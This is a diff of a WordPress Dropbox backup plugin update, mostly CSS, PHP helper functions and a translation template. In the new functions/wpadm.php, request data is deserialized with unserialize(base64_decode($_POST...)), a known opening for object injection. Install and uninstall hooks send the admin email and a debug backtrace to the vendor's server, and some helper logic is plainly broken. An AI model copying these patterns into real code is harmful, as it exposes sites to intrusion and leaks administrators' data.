- #setting-form .info-block input[type="text"] {
583
- font-size: 14px;
584
- height: 28px;
585
- }
586
- .info-block .checkbox-info {
587
- width:101px;
588
- text-align:right;
589
- }
590
- .checkbox-info input[type="checkbox"] {
591
- margin-right: 0px;
592
- }
593
- .stat-setting-save {
594
- text-align: center; margin-top: 10px;
595
- }
596
-
597
- /*default style */
598
- @media only screen and (max-width: 960px) {
599
- /*
600
- tablet computer
601
- */
602
- .stat-wpadm-info {
603
- margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
604
- color: #fff;
605
- float: none;
606
- clear:both;
607
- border-left: 0px;
608
- border-top:1px solid #fff;
609
- font-size: 10px;
610
- margin-bottom: 10px;
611
- padding-left: 0px;
612
- width:88%;
613
-
614
-
615
- }
616
- .stat-table-registr th, .stat-table-registr td {
617
- padding:2px;
618
- font-size:10px;
619
- }
620
- .stat-table-registr {
621
- margin-top: 10px;
622
- float:none;
623
- }
624
- .form-table th {
625
- line-height: 10px;
626
- }
627
- .stat-table-registr input {
628
- font-size: 10px;
629
- height: 20px;
630
- line-height: 10px;
631
- }
632
- .stat-form-counter {
633
- font-size:10px;
634
- margin-right:5px;
635
- }
636
- #setting-form .info-block {
637
- width:60%;
638
- }
639
- #preview-image {
640
- height: 105px;
641
- float: left;
642
- margin-right: 10px;
643
- }
644
- .detail-title {
645
- margin: 0 5px; width:auto;
646
- }
647
- #setting-form .info-block .details-info {
648
- width: auto;
649
- font-size: 8px;
650
- float:none;
651
- clear:both;
652
- line-height: 8px;
653
- margin-bottom:5px;
654
-
655
- }
656
- .info-block .checkbox-info {
657
- width:28px;
658
- }
659
- #setting-form .info-block input[type="text"] {
660
- font-size:12px;
661
- height: 20px;
662
- }
663
- .minicolors-theme-default.minicolors-position-right .minicolors-input {
664
- padding-right: 10px;
665
- }
666
-
667
- .minicolors-theme-default .minicolors-swatch {
668
- height: 18px;
669
- left: 5px;
670
- top: 1px;
671
- width: 18px;
672
- }
673
-
674
- }
675
- @media only screen and (max-width: 1124px) {
676
- .stat-form-counter {
677
- font-size:10px;
678
- margin-right:3.5%;
679
- }
680
- #setting-form .info-block {
681
- width:55%;
682
- }
683
- #preview-image {
684
- height: 105px;
685
- float: left;
686
- margin-right: 10px;
687
- margin-top:40px;
688
- }
689
- .info-block input[type="text"] {
690
- font-size:12px;
691
- height: 20px;
692
- }
693
-
694
- }
695
- @media only screen and (max-width: 758px) {
696
- /*
697
- vertical tablet computer
698
- */
699
- }
700
- @media only screen and (max-width: 524px) {
701
- /*phone*/
702
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
dropbox-backup.php CHANGED
@@ -1,22 +1,25 @@
1
  <?php
2
  /*
3
- Plugin Name: DropBox Backup
4
- Description: DropBox Backup Plugin to create DropBox Full Backup (Files + Database) of your Web Page
5
- Version: 1.1
 
 
6
  */
7
 
8
- require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm.php';
9
- if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm-class-wp.php')) {
10
- require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm-class-wp.php';
11
  }
12
 
13
- add_action('init', 'wpadm_full_backup_dropbox_run');
14
-
15
- add_action('admin_print_scripts', 'wpadm_include_admins_script' );
16
- // add item to menu
17
 
18
- add_action('admin_notices', 'wpadm_admin_notice');
19
 
 
 
 
20
 
21
  if (!function_exists('wpadm_full_backup_dropbox_run')) {
22
  function wpadm_full_backup_dropbox_run()
1
  <?php
2
  /*
3
+ Plugin Name: Dropbox Backup & Restore
4
+ Description: Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + Database) of your Web Page
5
+ Version: 1.4.3
6
+ Text Domain: dropbox-backup
7
+ Domain Path: /languages/
8
  */
9
 
10
+ if (!defined('DRBBACKUP_BASE_DIR')) {
11
+ define('DRBBACKUP_BASE_DIR', dirname(__FILE__));
 
12
  }
13
 
14
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/modules/constant.php';
15
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/functions/wpadm.php';
16
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/main/wpadm-class-wp.php';
 
17
 
18
+ add_action('init', 'wpadm_full_backup_dropbox_run');
19
 
20
+ add_action('admin_print_scripts', array('wpadm_wp_full_backup_dropbox', 'include_admins_script' ));
21
+ add_action('admin_menu', array('wpadm_wp_full_backup_dropbox', 'draw_menu'));
22
+ add_action('admin_post_activate_wpadm_full_backup_dropbox', array('wpadm_wp_full_backup_dropbox', 'activatePlugin') );
23
 
24
  if (!function_exists('wpadm_full_backup_dropbox_run')) {
25
  function wpadm_full_backup_dropbox_run()
functions/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
functions/wpadm.php ADDED
@@ -0,0 +1,190 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * General functions
4
+ *
5
+ */
6
+
7
+ if ( ! function_exists( 'wpadm_run' )) {
8
+ function wpadm_run($pl, $dir) {
9
+
10
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-method-class.php';
11
+ $request_name = $pl . '_request';
12
+ if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
13
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
14
+ WPAdm_Core::$cron = false;
15
+ $user_ip = wpadm_getIp();
16
+ if ($_SERVER['SERVER_ADDR'] != $user_ip && $_SERVER['HTTP_USER_AGENT'] != 'dropbox-backup user-agent') {
17
+ WPAdm_Running::init_params_default(false);
18
+ }
19
+ $wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
20
+ echo '<wpadm>' . wpadm_pack($wpadm->getResult()->toArray()) . '</wpadm>';
21
+ exit;
22
+ }
23
+ }
24
+ }
25
+
26
+
27
+ if ( ! function_exists( 'wpadm_unpack' )) {
28
+ /**
29
+ * @param str $str
30
+ * @return mixed
31
+ */
32
+ function wpadm_unpack( $str ) {
33
+ return unserialize( base64_decode( $str ) );
34
+ }
35
+ }
36
+
37
+ if ( ! function_exists('wpadm_pack')) {
38
+ /**
39
+ * @param mixed $value
40
+ * @return string
41
+ */
42
+ function wpadm_pack( $value ) {
43
+ return base64_encode( serialize ( $value ) ) ;
44
+ }
45
+ }
46
+
47
+ if ( ! function_exists('wpadm_admin_notice')) {
48
+ function wpadm_admin_notice() {
49
+
50
+ }
51
+ }
52
+
53
+
54
+ if ( ! function_exists('wpadm_deactivation')) {
55
+ function wpadm_deactivation() {
56
+ wpadm_send_blog_info('deactivation');
57
+ }
58
+ }
59
+
60
+
61
+ if ( ! function_exists('wpadm_uninstall')) {
62
+ function wpadm_uninstall() {
63
+ wpadm_send_blog_info('uninstall');
64
+ }
65
+ }
66
+
67
+
68
+ if ( ! function_exists('wpadm_activation')) {
69
+ function wpadm_activation() {
70
+ wpadm_send_blog_info('activation');
71
+ }
72
+ }
73
+
74
+ if ( ! function_exists('wpadm_send_blog_info')) {
75
+ function wpadm_send_blog_info($status) {
76
+ $info = wpadm_get_blog_info();
77
+ $info['status'] = $status;
78
+
79
+ $data = wpadm_pack($info);
80
+ $host = WPADM_URL_BASE;
81
+ $host = str_replace(array('http://','https://'), '', trim($host,'/'));
82
+ $socket = fsockopen($host, 80, $errno, $errstr, 30);
83
+ fwrite($socket, "GET /wpsite/pluginHook?data={$data} HTTP/1.1\r\n");
84
+ fwrite($socket, "Host: {$host}\r\n");
85
+
86
+ fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
87
+ fwrite($socket,"Content-length:".strlen($data)."\r\n");
88
+ fwrite($socket,"Accept:*/*\r\n");
89
+ fwrite($socket,"User-agent:Opera 10.00\r\n");
90
+ fwrite($socket,"Connection:Close\r\n");
91
+ fwrite($socket,"\r\n");
92
+ sleep(1);
93
+ fclose($socket);
94
+ }
95
+ }
96
+ if (!function_exists('wpadm_getIp')) {
97
+ function wpadm_getIp()
98
+ {
99
+ $user_ip = '';
100
+ if ( getenv('REMOTE_ADDR') ){
101
+ $user_ip = getenv('REMOTE_ADDR');
102
+ }elseif ( getenv('HTTP_FORWARDED_FOR') ){
103
+ $user_ip = getenv('HTTP_FORWARDED_FOR');
104
+ }elseif ( getenv('HTTP_X_FORWARDED_FOR') ){
105
+ $user_ip = getenv('HTTP_X_FORWARDED_FOR');
106
+ }elseif ( getenv('HTTP_X_COMING_FROM') ){
107
+ $user_ip = getenv('HTTP_X_COMING_FROM');
108
+ }elseif ( getenv('HTTP_VIA') ){
109
+ $user_ip = getenv('HTTP_VIA');
110
+ }elseif ( getenv('HTTP_XROXY_CONNECTION') ){
111
+ $user_ip = getenv('HTTP_XROXY_CONNECTION');
112
+ }elseif ( getenv('HTTP_CLIENT_IP') ){
113
+ $user_ip = getenv('HTTP_CLIENT_IP');
114
+ }
115
+
116
+ $user_ip = trim($user_ip);
117
+ if ( empty($user_ip) ){
118
+ return '';
119
+ }
120
+ if ( !preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $user_ip) ){
121
+ return '';
122
+ }
123
+ return $user_ip;
124
+ }
125
+ }
126
+
127
+ if ( ! function_exists('wpadm_get_blog_info')) {
128
+ function wpadm_get_blog_info() {
129
+ $info = array(
130
+ 'url' => get_site_url(),
131
+ 'email' => get_option('admin_email')
132
+ );
133
+ $debug = debug_backtrace();
134
+ $info['debug'] = $debug;
135
+ $file = (is_array($debug[count($debug)-1]['args'][0]))?$debug[count($debug)-1]['args'][0][0] : $debug[count($debug)-1]['args'][0];
136
+ preg_match("|wpadm_.*wpadm_(.*)\.php|", $file, $m);
137
+ $info['plugin'] = '';
138
+ if (isset($m[1])) {
139
+ $info['plugin'] = $m[1];
140
+ }
141
+
142
+ return $info;
143
+ }
144
+ }
145
+ if ( ! function_exists( "wpadm_set_plugin" )) {
146
+ function wpadm_set_plugin($plugin_name = '')
147
+ {
148
+ if (!empty($plugin_name) && function_exists("wpadm_run")) {
149
+ $GLOBALS['wpadm_plugin'][] = $plugin_name;
150
+ }
151
+ }
152
+ }
153
+ if (!function_exists('wpadm_in_array')) {
154
+ function wpadm_in_array($value, $key, $array, $ids = false)
155
+ {
156
+ if (is_array($array)) {
157
+ foreach($array as $k => $v) {
158
+ if (!is_array($v) && $k == $key && $v == $value) {
159
+ if ($ids) {
160
+ return $k;
161
+ }
162
+ return true;
163
+ } elseif (is_array($v) && isset($v[$key]) && $v[$key] == $value ) {
164
+ if ($ids) {
165
+ return $k;
166
+ }
167
+ return true;
168
+ }
169
+ }
170
+ }
171
+ return false;
172
+ }
173
+ }
174
+ if (function_exists('wpadm_getKey')) {
175
+ function wpadm_getKey($array, $key)
176
+ {
177
+ $return = array();
178
+ if (empty($array) && ($n = count($array)) > 0) {
179
+ for($i = 0; $i < $n; $i++) {
180
+ if (isset($array[$i]['key']) && is_array($key) && in_array($array[$i]['key'], $key) ) {
181
+ $return[] = $i;
182
+ } elseif(isset($array[$i]['key']) && is_string($key) ) {
183
+ $return[] = $i;
184
+ }
185
+ }
186
+ }
187
+ return $return;
188
+ }
189
+ }
190
+
img/dropbox.png ADDED
Binary file
img/stars-5.png ADDED
Binary file
wpadm-logo.png → img/wpadm-logo.png RENAMED
File without changes
img/wpadmload.gif ADDED
Binary file
languages/dropbox-backup.pot ADDED
@@ -0,0 +1,945 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #, fuzzy
2
+ msgid ""
3
+ msgstr ""
4
+ "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
5
+ "Project-Id-Version: Dropbox Backup & Restore\n"
6
+ "POT-Creation-Date: 2016-02-01 11:31+0300\n"
7
+ "PO-Revision-Date: 2016-02-01 11:31+0300\n"
8
+ "Last-Translator: \n"
9
+ "Language-Team: \n"
10
+ "MIME-Version: 1.0\n"
11
+ "Content-Type: text/plain; charset=UTF-8\n"
12
+ "Content-Transfer-Encoding: 8bit\n"
13
+ "X-Generator: Poedit 1.8.6\n"
14
+ "X-Poedit-Basepath: ..\n"
15
+ "X-Poedit-WPHeader: dropbox-backup.php\n"
16
+ "X-Poedit-SourceCharset: UTF-8\n"
17
+ "X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
18
+ "esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
19
+ "_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
20
+ "X-Poedit-SearchPath-0: .\n"
21
+ "X-Poedit-SearchPathExcluded-0: *.js\n"
22
+
23
+ #: commands/class-wpadm-command-archive.php:15
24
+ #: commands/class-wpadm-command-archive.php:21
25
+ msgid "Create part "
26
+ msgstr ""
27
+
28
+ #: commands/class-wpadm-command-restore-backup.php:22
29
+ #: commands/class-wpadm-command-restore-backup.php:23
30
+ #, php-format
31
+ msgid "Website \"%d\" returned an error during archive extracting: "
32
+ msgstr ""
33
+
34
+ #: commands/class-wpadm-command-restore-backup.php:44
35
+ #: commands/class-wpadm-command-restore-backup.php:45
36
+ #, php-format
37
+ msgid ""
38
+ "Website \"%d\" returned an error: The necessary file of archive \"%f\" "
39
+ "wasn't found "
40
+ msgstr ""
41
+
42
+ #: commands/class-wpadm-command-send-to-dropbox.php:11
43
+ msgid "Send to dropbox files"
44
+ msgstr ""
45
+
46
+ #: commands/class-wpadm-command-send-to-dropbox.php:15
47
+ #: main/wpadm-class-wp.php:319
48
+ msgid ""
49
+ "Website \"%d\" can't authorize on Dropbox with using of \"app key: %k\" and "
50
+ "\"app secret: %s\""
51
+ msgstr ""
52
+
53
+ #: commands/class-wpadm-command-send-to-dropbox.php:42
54
+ #: commands/class-wpadm-command-send-to-dropbox.php:70
55
+ msgid "Dropbox returned an error during file sending: "
56
+ msgstr ""
57
+
58
+ #: commands/class-wpadm-command-send-to-dropbox.php:74
59
+ msgid "File upload: "
60
+ msgstr ""
61
+
62
+ #: commands/class-wpadm-command-send-to-dropbox.php:74
63
+ msgid " size: "
64
+ msgstr ""
65
+
66
+ #: libs/wpadm.server.main.class.php:144
67
+ msgid "Your request was sent. <br /> Thank you for your assistance."
68
+ msgstr ""
69
+
70
+ #: main/wpadm-class-wp.php:78
71
+ msgid "1 day"
72
+ msgstr ""
73
+
74
+ #: main/wpadm-class-wp.php:81
75
+ msgid "1 week"
76
+ msgstr ""
77
+
78
+ #: main/wpadm-class-wp.php:218 main/wpadm-class-wp.php:567
79
+ #, php-format
80
+ msgid ""
81
+ "Website \"%domain\" returned an error during file creation: Failed to create "
82
+ "file, please check the permissions on the folder \"%dir-backup\"."
83
+ msgstr ""
84
+
85
+ #: main/wpadm-class-wp.php:280
86
+ msgid "Start Restore from Dropbox cloud"
87
+ msgstr ""
88
+
89
+ #: main/wpadm-class-wp.php:306
90
+ msgid "Error: "
91
+ msgstr ""
92
+
93
+ #: main/wpadm-class-wp.php:308
94
+ #, php-format
95
+ msgid "Download file (%s) with Dropbox"
96
+ msgstr ""
97
+
98
+ #: main/wpadm-class-wp.php:324 main/wpadm-class-wp.php:474
99
+ #: main/wpadm-class-wp.php:510
100
+ #, php-format
101
+ msgid ""
102
+ "Website \"%d\" returned an error during connection to Dropbox: \"app key\" "
103
+ "and \"app secret\" wasn't found. Please, check your Dropbox settings."
104
+ msgstr ""
105
+
106
+ #: main/wpadm-class-wp.php:402 main/wpadm-class-wp.php:413
107
+ #, php-format
108
+ msgid "Backup(%s) was deleted"
109
+ msgstr ""
110
+
111
+ #: main/wpadm-class-wp.php:498
112
+ #, php-format
113
+ msgid ""
114
+ "Website \"%d\" returned an error during connection to Dropbox: \"App Key\" "
115
+ "wasn't found. Please, check your Dropbox settings."
116
+ msgstr ""
117
+
118
+ #: main/wpadm-class-wp.php:502
119
+ #, php-format
120
+ msgid ""
121
+ "Website \"%d\" returned an error during connection to Dropbox: \"App Secret"
122
+ "\" wasn't found. Please, check your Dropbox settings."
123
+ msgstr ""
124
+
125
+ #: main/wpadm-class-wp.php:506
126
+ #, php-format
127
+ msgid ""
128
+ "Website \"%d\" returned an error during file sending to Dropbox: \"Auth "
129
+ "Token not exist. Files cannot be sent to Dropbox cloud. Please, check your "
130
+ "Dropbox settings.\""
131
+ msgstr ""
132
+
133
+ #: main/wpadm-class-wp.php:619
134
+ msgid "Checkout was canceled"
135
+ msgstr ""
136
+
137
+ #: main/wpadm-class-wp.php:644
138
+ msgid ""
139
+ "The \"Dropbox backup & restore PRO\" version can be downloaded here <a href="
140
+ "\"&s\">download</a>"
141
+ msgstr ""
142
+
143
+ #: methods/class-wpadm-method-backup.php:119
144
+ #: methods/class-wpadm-method-local-backup.php:118
145
+ #, php-format
146
+ msgid ""
147
+ "Website \"%domain\" returned an error during database dump creation: 'Dump "
148
+ "of Database wasn't created: \"%s\"'. To solve this problem, please check "
149
+ "your database system logs or send to us your FTP access data. You can send "
150
+ "to us support request using \"Help\" button on plugin page."
151
+ msgstr ""
152
+
153
+ #: methods/class-wpadm-method-backup.php:123
154
+ #: methods/class-wpadm-method-local-backup.php:122
155
+ #, php-format
156
+ msgid ""
157
+ "Website \"%domain\" returned an error during database dump creation: "
158
+ "Database-Dump file is emplty. To solve this problem, please check "
159
+ "permissions to folder: \"%dir\"."
160
+ msgstr ""
161
+
162
+ #: methods/class-wpadm-method-backup.php:128
163
+ #: methods/class-wpadm-method-full-backup-dropbox.php:131
164
+ #, php-format
165
+ msgid "Database Dump was successfully created ( %s Mb) : "
166
+ msgstr ""
167
+
168
+ #: methods/class-wpadm-method-full-backup-dropbox.php:82
169
+ msgid "Start backup"
170
+ msgstr ""
171
+
172
+ #: methods/class-wpadm-method-full-backup-dropbox.php:85
173
+ msgid "Start create db dump"
174
+ msgstr ""
175
+
176
+ #: methods/class-wpadm-method-full-backup-dropbox.php:99
177
+ msgid "Table optimization"
178
+ msgstr ""
179
+
180
+ #: methods/class-wpadm-method-full-backup-dropbox.php:123
181
+ #, php-format
182
+ msgid "Error: Dump of Database wasn't created (%s)"
183
+ msgstr ""
184
+
185
+ #: methods/class-wpadm-method-full-backup-dropbox.php:127
186
+ msgid "MySQL Error: Database-Dump File is empty"
187
+ msgstr ""
188
+
189
+ #: methods/class-wpadm-method-full-backup-dropbox.php:128
190
+ msgid "Dump of Database wasn't created (File of Database-Dump is empty!)"
191
+ msgstr ""
192
+
193
+ #: methods/class-wpadm-method-full-backup-dropbox.php:138
194
+ msgid "Create a list of files for Backup"
195
+ msgstr ""
196
+
197
+ #: methods/class-wpadm-method-full-backup-dropbox.php:145
198
+ msgid "Error: the list of Backup files is empty"
199
+ msgstr ""
200
+
201
+ #: methods/class-wpadm-method-full-backup-dropbox.php:167
202
+ #: methods/class-wpadm-method-local-backup.php:175
203
+ msgid "List of Backup-Files was successfully created"
204
+ msgstr ""
205
+
206
+ #: methods/class-wpadm-method-full-backup-dropbox.php:182
207
+ #: methods/class-wpadm-method-local-backup.php:194
208
+ msgid "Backup of Files was started"
209
+ msgstr ""
210
+
211
+ #: methods/class-wpadm-method-full-backup-dropbox.php:185
212
+ #: methods/class-wpadm-method-local-backup.php:196
213
+ msgid "End of File Backup"
214
+ msgstr ""
215
+
216
+ #: methods/class-wpadm-method-full-backup-dropbox.php:202
217
+ msgid "Begin copying files to FTP"
218
+ msgstr ""
219
+
220
+ #: methods/class-wpadm-method-full-backup-dropbox.php:225
221
+ msgid "FTP: "
222
+ msgstr ""
223
+
224
+ #: methods/class-wpadm-method-full-backup-dropbox.php:229
225
+ msgid "Finished copying files to FTP"
226
+ msgstr ""
227
+
228
+ #: methods/class-wpadm-method-full-backup-dropbox.php:234
229
+ msgid "Begin coping files to S3"
230
+ msgstr ""
231
+
232
+ #: methods/class-wpadm-method-full-backup-dropbox.php:258
233
+ msgid "Finished copying files to S3"
234
+ msgstr ""
235
+
236
+ #: methods/class-wpadm-method-full-backup-dropbox.php:266
237
+ msgid "Remove the backup server"
238
+ msgstr ""
239
+
240
+ #: methods/class-wpadm-method-full-backup-dropbox.php:275
241
+ msgid "files to google: "
242
+ msgstr ""
243
+
244
+ #: methods/class-wpadm-method-full-backup-dropbox.php:292
245
+ msgid "Google drive: "
246
+ msgstr ""
247
+
248
+ #: methods/class-wpadm-method-full-backup-dropbox.php:300
249
+ msgid "files to dropbox: "
250
+ msgstr ""
251
+
252
+ #: methods/class-wpadm-method-full-backup-dropbox.php:317
253
+ msgid "Dropbox: "
254
+ msgstr ""
255
+
256
+ #: methods/class-wpadm-method-full-backup-dropbox.php:325
257
+ msgid "Start removing old backups"
258
+ msgstr ""
259
+
260
+ #: methods/class-wpadm-method-full-backup-dropbox.php:346
261
+ msgid "Finished removing old backups"
262
+ msgstr ""
263
+
264
+ #: methods/class-wpadm-method-full-backup-dropbox.php:348
265
+ msgid "Creating a backup is completed"
266
+ msgstr ""
267
+
268
+ #: methods/class-wpadm-method-full-backup-dropbox.php:397
269
+ msgid "Skip file "
270
+ msgstr ""
271
+
272
+ #: methods/class-wpadm-method-full-backup-dropbox.php:492
273
+ msgid "Skip dir "
274
+ msgstr ""
275
+
276
+ #: methods/class-wpadm-method-local-backup.php:18
277
+ #: methods/class-wpadm-method-local-restore.php:28
278
+ msgid "Create Unique Id "
279
+ msgstr ""
280
+
281
+ #: methods/class-wpadm-method-local-backup.php:71
282
+ msgid "Start Backup process..."
283
+ msgstr ""
284
+
285
+ #: methods/class-wpadm-method-local-backup.php:78
286
+ msgid "Creating Database Dump"
287
+ msgstr ""
288
+
289
+ #: methods/class-wpadm-method-local-backup.php:93
290
+ msgid "Optimize Database Tables"
291
+ msgstr ""
292
+
293
+ #: methods/class-wpadm-method-local-backup.php:127
294
+ #, php-format
295
+ msgid "Database Dump was successfully created ( %size Mb) : "
296
+ msgstr ""
297
+
298
+ #: methods/class-wpadm-method-local-backup.php:148
299
+ #, php-format
300
+ msgid ""
301
+ "Website \"%d\" returned an error during creation of the list of files for a "
302
+ "backup: list of files for a backup is empty. To solve this problem, please "
303
+ "check files and folders permissions for website \"%d\"."
304
+ msgstr ""
305
+
306
+ #: methods/class-wpadm-method-local-backup.php:215
307
+ #, php-format
308
+ msgid "Backup Size %s Mb"
309
+ msgstr ""
310
+
311
+ #: methods/class-wpadm-method-local-backup.php:224
312
+ msgid "Limits of Backups "
313
+ msgstr ""
314
+
315
+ #: methods/class-wpadm-method-local-backup.php:225
316
